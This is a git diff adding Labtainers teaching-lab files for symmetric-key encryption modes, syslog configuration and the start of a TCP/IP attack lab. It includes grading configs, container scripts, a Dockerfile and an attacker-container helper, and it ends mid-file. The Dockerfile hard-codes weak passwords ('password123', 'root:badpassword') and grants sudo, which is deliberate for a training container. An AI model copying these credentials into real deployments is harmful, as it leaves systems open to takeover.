file://LAB_DOCS/symkey.pdf +The report template at + file://LAB_DOCS/symkey-template.docx + +You may open those files by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/docs/symkey-template.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/docs/symkey-template.docx new file mode 100644 index 000000000..ee16b8d96 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/docs/symkey-template.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/docs/symkey.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/docs/symkey.docx new file mode 100644 index 000000000..b193f8c63 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/docs/symkey.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/instr_config/goals.config new file mode 100644 index 000000000..b4d697853 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/instr_config/goals.config @@ -0,0 +1,12 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#SUM: counts of program invocations +open-ebc-count = value : open-ebc +open-cbc-count = value : open-cbc +open-ofb-count = value : open-ofb +dd-count = value : dd +hexedit-count = value : hexedit +ghex-count = value : ghex +diff-count = value : diff + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/instr_config/results.config new file mode 100644 index 000000000..daaff7972 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/instr_config/results.config @@ -0,0 +1,10 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +open-ebc = .bash_history : COMMAND_COUNT : openssl aes-128-ecb +open-cbc = .bash_history : COMMAND_COUNT : openssl aes-128-cbc +open-ofb = .bash_history : COMMAND_COUNT : openssl aes-128-ofb +dd = .bash_history : COMMAND_COUNT : dd +hexedit = .bash_history : COMMAND_COUNT : hexedit +ghex = .bash_history : COMMAND_COUNT : ghex +diff = .bash_history : COMMAND_COUNT : diff diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_bin/treataslocal new file mode 100644 index 000000000..08b677fae --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/openssl diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_system/bin/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_system/bin/MyHTTPServer.py new file mode 100755 index 000000000..4f3fb47bc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_system/bin/MyHTTPServer.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import os +import sys + +PORT = 80 + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + +Handler = MyHTTPHandler + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +print "serving at port", PORT + +httpd.serve_forever() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_system/sbin/shutdown_container b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_system/sbin/shutdown_container new file mode 100755 index 000000000..e5aa6d1f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/_system/sbin/shutdown_container @@ -0,0 +1,4 @@ +#!/bin/bash +PLIST=$(ps aux | grep '[b]ash -l' | awk '{print $2}') +kill $PLIST +kill -9 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/declare.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/declare.txt new file mode 100644 index 000000000..d77f25789 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/declare.txt @@ -0,0 +1,160 @@ +When in the Course of human events it becomes necessary for one people +to dissolve the political bands which have connected them with another +and to assume among the powers of the earth, the separate and equal +station to which the Laws of Nature and of Nature's God entitle them, +a decent respect to the opinions of mankind requires that they should +declare the causes which impel them to the separation. + +We hold these truths to be self-evident, that all men are created +equal, that they are endowed by their Creator with certain unalienable +Rights, that among these are Life, Liberty and the pursuit of +Happiness. — That to secure these rights, Governments are instituted +among Men, deriving their just powers from the consent of the +governed, — That whenever any Form of Government becomes destructive +of these ends, it is the Right of the People to alter or to abolish +it, and to institute new Government, laying its foundation on such +principles and organizing its powers in such form, as to them shall +seem most likely to effect their Safety and Happiness. Prudence, +indeed, will dictate that Governments long established should not be +changed for light and transient causes; and accordingly all experience +hath shewn that mankind are more disposed to suffer, while evils are +sufferable than to right themselves by abolishing the forms to which +they are accustomed. But when a long train of abuses and usurpations, +pursuing invariably the same Object evinces a design to reduce them +under absolute Despotism, it is their right, it is their duty, to +throw off such Government, and to provide new Guards for their future +security. — Such has been the patient sufferance of these Colonies; +and such is now the necessity which constrains them to alter their +former Systems of Government. The history of the present King of Great +Britain is a history of repeated injuries and usurpations, all having +in direct object the establishment of an absolute Tyranny over these +States. To prove this, let Facts be submitted to a candid world. + +He has refused his Assent to Laws, the most wholesome and necessary +for the public good. + +He has forbidden his Governors to pass Laws of immediate and pressing +importance, unless suspended in their operation till his Assent should +be obtained; and when so suspended, he has utterly neglected to attend +to them. + +He has refused to pass other Laws for the accommodation of large +districts of people, unless those people would relinquish the right of +Representation in the Legislature, a right inestimable to them and +formidable to tyrants only. + +He has called together legislative bodies at places unusual, +uncomfortable, and distant from the depository of their Public +Records, for the sole purpose of fatiguing them into compliance with +his measures. + +He has dissolved Representative Houses repeatedly, for opposing with +manly firmness his invasions on the rights of the people. + +He has refused for a long time, after such dissolutions, to cause +others to be elected, whereby the Legislative Powers, incapable of +Annihilation, have returned to the People at large for their exercise; +the State remaining in the mean time exposed to all the dangers of +invasion from without, and convulsions within. + +He has endeavoured to prevent the population of these States; for that +purpose obstructing the Laws for Naturalization of Foreigners; +refusing to pass others to encourage their migrations hither, and +raising the conditions of new Appropriations of Lands. + +He has obstructed the Administration of Justice by refusing his Assent +to Laws for establishing Judiciary Powers. + +He has made Judges dependent on his Will alone for the tenure of their +offices, and the amount and payment of their salaries. + +He has erected a multitude of New Offices, and sent hither swarms of +Officers to harass our people and eat out their substance. + +He has kept among us, in times of peace, Standing Armies without the +Consent of our legislatures. + +He has affected to render the Military independent of and superior to +the Civil Power. + +He has combined with others to subject us to a jurisdiction foreign to +our constitution, and unacknowledged by our laws; giving his Assent to +their Acts of pretended Legislation: + +For quartering large bodies of armed troops among us: + +For protecting them, by a mock Trial from punishment for any Murders +which they should commit on the Inhabitants of these States: + +For cutting off our Trade with all parts of the world: + +For imposing Taxes on us without our Consent: + +For depriving us in many cases, of the benefit of Trial by Jury: + +For transporting us beyond Seas to be tried for pretended offences: + +For abolishing the free System of English Laws in a neighbouring +Province, establishing therein an Arbitrary government, and enlarging +its Boundaries so as to render it at once an example and fit +instrument for introducing the same absolute rule into these Colonies + +For taking away our Charters, abolishing our most valuable Laws and +altering fundamentally the Forms of our Governments: + +For suspending our own Legislatures, and declaring themselves invested +with power to legislate for us in all cases whatsoever. + +He has abdicated Government here, by declaring us out of his +Protection and waging War against us. + +He has plundered our seas, ravaged our coasts, burnt our towns, and +destroyed the lives of our people. + +He is at this time transporting large Armies of foreign Mercenaries to +compleat the works of death, desolation, and tyranny, already begun +with circumstances of Cruelty & Perfidy scarcely paralleled in the +most barbarous ages, and totally unworthy the Head of a civilized +nation. + +He has constrained our fellow Citizens taken Captive on the high Seas +to bear Arms against their Country, to become the executioners of +their friends and Brethren, or to fall themselves by their Hands. + +He has excited domestic insurrections amongst us, and has endeavoured +to bring on the inhabitants of our frontiers, the merciless Indian +Savages whose known rule of warfare, is an undistinguished destruction +of all ages, sexes and conditions. + +In every stage of these Oppressions We have Petitioned for Redress in +the most humble terms: Our repeated Petitions have been answered only +by repeated injury. A Prince, whose character is thus marked by every +act which may define a Tyrant, is unfit to be the ruler of a free +people. + +Nor have We been wanting in attentions to our British brethren. We +have warned them from time to time of attempts by their legislature to +extend an unwarrantable jurisdiction over us. We have reminded them of +the circumstances of our emigration and settlement here. We have +appealed to their native justice and magnanimity, and we have conjured +them by the ties of our common kindred to disavow these usurpations, +which would inevitably interrupt our connections and +correspondence. They too have been deaf to the voice of justice and of +consanguinity. We must, therefore, acquiesce in the necessity, which +denounces our Separation, and hold them, as we hold the rest of +mankind, Enemies in War, in Peace Friends. + +We, therefore, the Representatives of the united States of America, in +General Congress, Assembled, appealing to the Supreme Judge of the +world for the rectitude of our intentions, do, in the Name, and by +Authority of the good People of these Colonies, solemnly publish and +declare, That these united Colonies are, and of Right ought to be Free +and Independent States, that they are Absolved from all Allegiance to +the British Crown, and that all political connection between them and +the State of Great Britain, is and ought to be totally dissolved; and +that as Free and Independent States, they have full Power to levy War, +conclude Peace, contract Alliances, establish Commerce, and to do all +other Acts and Things which Independent States may of right do. — And +for the support of this Declaration, with a firm reliance on the +protection of Divine Providence, we mutually pledge to each other our +Lives, our Fortunes, and our sacred Honor. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/home_tar/home.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/home_tar/home.tar new file mode 100644 index 000000000..2d0fd1ef3 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/home_tar/home.tar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/index.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/index.html new file mode 100644 index 000000000..0dd8ab35a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/index.html @@ -0,0 +1,10 @@ + +Exploring Symmetric Key Encryption Modes - Lab 2 + +

Original nps-logo.bmp

+ +
+

Modified nps-logo_mod.bmp

+ + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/nps-logo.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/nps-logo.bmp new file mode 100644 index 000000000..6428fd8a9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/nps-logo.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/start_firefox b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/start_firefox new file mode 100755 index 000000000..d9dfa70b3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/symkeylab/symkeylab/start_firefox @@ -0,0 +1 @@ +firefox ./index.html > /dev/null 2>&1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/config/about.txt new file mode 100644 index 000000000..07be36df7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/config/about.txt @@ -0,0 +1 @@ +System log basic usage and configuration on an Ubuntu system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/config/start.config new file mode 100644 index 000000000..b7e4404a7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/config/start.config @@ -0,0 +1,57 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER sys-log + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED sys-log_mike_master_seed + + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER sys-log + # user name of user who interacts with the container. + USER student + PASSWORD password123 + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/config/sys-log-home_tar.list b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/config/sys-log-home_tar.list new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/dockerfiles/Dockerfile.sys-log.sys-log.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/dockerfiles/Dockerfile.sys-log.sys-log.student new file mode 100644 index 000000000..05640155b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/dockerfiles/Dockerfile.sys-log.sys-log.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +RUN echo "root:badpassword" | chpasswd + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# run as root to do login +USER root + +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/docs/read_first.txt new file mode 100644 index 000000000..a8c816645 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/sys-log.pdf +The report template at + file://LAB_DOCS/sys-log-Template.docx + +You may open those files by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/docs/sys-log-Template.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/docs/sys-log-Template.docx new file mode 100755 index 000000000..8ce4bccbf Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/docs/sys-log-Template.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/docs/sys-log.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/docs/sys-log.docx new file mode 100755 index 000000000..a5be6147c Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/docs/sys-log.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/instr_config/goals.config new file mode 100644 index 000000000..e1b300d86 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/instr_config/goals.config @@ -0,0 +1,22 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#GROUP: Counts of quantity of commands issued. +logger_count = value : logger +last_count = value : last +service_count = value : service + +# Timestamped set of debug entries in /var/log/debug +# with time ranges delimited by rsyslog starting +#DOC: Altered rsyslog.conf, resulting in debug messages going to +# a custom log file (though it may not be limited to debug messages) +debug_log = time_during : some_debug : syslog_slices + +# Timestamp ranges delimited by rsyslog starting, in which no +# service log entries appear in the /var/log/debug +_debug_not_mixed = time_not_during : service_in_debug : syslog_slices + +#DOC: Altered rsyslog.conf, resulting in only debug messages going to +# a custom log file +exact_debug = boolean : (_debug_not_mixed and debug_log) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/instr_config/results.config new file mode 100644 index 000000000..2a9956d3c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/instr_config/results.config @@ -0,0 +1,17 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +logger = /root/.bash_history : STRING_COUNT : logger +last = /root/.bash_history : STRING_COUNT : last +systemctl = /root/.bash_history : STRING_COUNT : systemctl restart rsyslog +service = /root/.bash_history : STRING_COUNT : service rsyslog restart +#DOC: Altered rsyslog.conf, resulting in mark written to system log +mark = /var/log/syslog : CONTAINS : MARK +# time range delimited by the start of system logging +syslog_slices = /var/log/syslog : LOG_RANGE : Started System Logging Service +# time stamps of debug log entries in /var/log/debug +some_debug = /var/log/mydebug : LOG_TS : centos-log Joe +# time stamps of rsyslog starting entries in /var/log/debug +# A goal of the lab is to configure logging so that only debug goes into +# the /var/log/debug, thus we don't want service messages in that log +service_in_debug = /var/log/mydebug : LOG_TS : Started System Logging Service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_bin/fixlocal.sh new file mode 100755 index 000000000..7c9fa538c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_bin/fixlocal.sh @@ -0,0 +1,8 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +# avoid error message in syslog +echo $1 | sudo -S touch /dev/xconsole +echo $1 | sudo -S chown syslog:adm /dev/xconsole diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_bin/student_startup.sh new file mode 100644 index 000000000..f35d06ecb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_bin/student_startup.sh @@ -0,0 +1,15 @@ +#!/bin/bash +# +# If root, loop forever in login. +# +id | grep root >>/dev/null +result=$? +if [[ $result -eq 0 ]]; then + #echo "is root" + rm -f /var/run/nologin + while [ 1 ]; do + trap login SIGINT + /bin/login + done +fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_system/etc/securetty new file mode 100644 index 000000000..29fbf7c13 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_system/etc/securetty @@ -0,0 +1,6 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_system/etc/sudoers.new b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_system/etc/sudoers.new new file mode 100644 index 000000000..08d83df03 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_system/etc/sudoers.new @@ -0,0 +1,31 @@ +# +# This file MUST be edited with the 'visudo' command as root. +# +# Please consider adding local content in /etc/sudoers.d/ instead of +# directly modifying this file. +# +# See the man page for details on how to write a sudoers file. +# +Defaults env_reset +Defaults mail_badpass +Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + +# Host alias specification + +# User alias specification + +# Cmnd alias specification + +# User privilege specification +root ALL=(ALL:ALL) ALL + +# Members of the admin group may gain root privileges +%admin ALL=(ALL) ALL + +# Allow members of group sudo to execute any command +#%sudo ALL=(ALL) NOPASSWD:ALL +%sudo ALL=(ALL:ALL) ALL + +# See sudoers(5) for more information on "#include" directives: + +#includedir /etc/sudoers.d diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_system/sbin/shutdown_container b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_system/sbin/shutdown_container new file mode 100755 index 000000000..e5aa6d1f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/sys-log/sys-log/_system/sbin/shutdown_container @@ -0,0 +1,4 @@ +#!/bin/bash +PLIST=$(ps aux | grep '[b]ash -l' | awk '{print $2}') +kill $PLIST +kill -9 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/attacker/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/attacker/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/attacker/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/attacker/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/attacker/_bin/treataslocal new file mode 100644 index 000000000..e0ff787b6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/attacker/_bin/treataslocal @@ -0,0 +1 @@ +nc diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/attacker/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/attacker/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/attacker/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/attacker/hexify.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/attacker/hexify.py new file mode 100755 index 000000000..c0e972259 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/attacker/hexify.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python +import sys +if len(sys.argv) != 2: + print('./hexify.py "the string"') + exit(0) +s = sys.argv[1] +print('The hex encoding of %s is:\n%s' % (s, s.encode("hex"))) +print('Do not forget to add a "0d00" if a newline and null termination is needed') diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/client/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/client/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/client/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/client/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/client/_bin/treataslocal new file mode 100644 index 000000000..e4c6346cf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/client/_bin/treataslocal @@ -0,0 +1 @@ +telnet diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/client/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/client/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/config/about.txt new file mode 100644 index 000000000..d4f30b6a6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/config/about.txt @@ -0,0 +1 @@ 